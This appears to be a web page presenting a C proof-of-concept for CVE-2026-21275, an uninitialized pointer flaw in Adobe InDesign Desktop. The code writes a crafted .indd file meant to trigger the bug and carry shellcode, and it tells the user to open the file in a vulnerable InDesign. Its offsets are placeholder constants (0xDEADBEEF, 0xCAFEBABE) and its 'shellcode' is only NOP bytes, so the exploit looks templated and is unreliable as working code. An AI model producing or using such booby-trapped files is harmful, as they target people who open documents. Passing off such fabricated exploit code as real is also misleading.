CVE-2026-21275 Adobe InDesign Desktop 未初始化指针访问漏洞

// CVE-2026-21275 PoC - InDesign Desktop Uninitialized Pointer Access // This PoC demonstrates the vulnerability trigger mechanism // Note: This is for educational and security research purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // Malicious InDesign file structure to trigger uninitialized pointer typedef struct { char header[8]; // File signature unsigned int version; // Version number unsigned int flags; // Malformed flags unsigned long offset1; // Crafted offset pointing to uninitialized memory unsigned long offset2; // Secondary offset char payload[256]; // Payload data } MaliciousINDD; void create_malicious_file(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("Failed to create file\n"); return; } MaliciousINDD malicious = {0}; // InDesign file signature memcpy(malicious.header, "\x06\x06\xED\xF5\xD8\x1D\x46\xE5", 8); malicious.version = 0x15000000; // Version 21.0 trigger malicious.flags = 0xFFFFFFFF; // Malformed flags malicious.offset1 = 0xDEADBEEF; // Points to uninitialized pointer location malicious.offset2 = 0xCAFEBABE; // Shellcode placeholder for code execution unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; memcpy(malicious.payload, shellcode, sizeof(shellcode)); fwrite(&malicious, sizeof(MaliciousINDD), 1, fp); fclose(fp); printf("Malicious InDesign file created: %s\n", filename); printf("Open this file with vulnerable InDesign version to trigger CVE-2026-21275\n"); } int main() { printf("CVE-2026-21275 PoC Generator\n"); printf("=================================\n\n"); create_malicious_file("CVE-2026-21275-malicious.indd"); printf("\n[!] Warning: This PoC is for authorized security testing only\n"); printf("[!] Unauthorized exploitation of this vulnerability is illegal\n"); return 0; }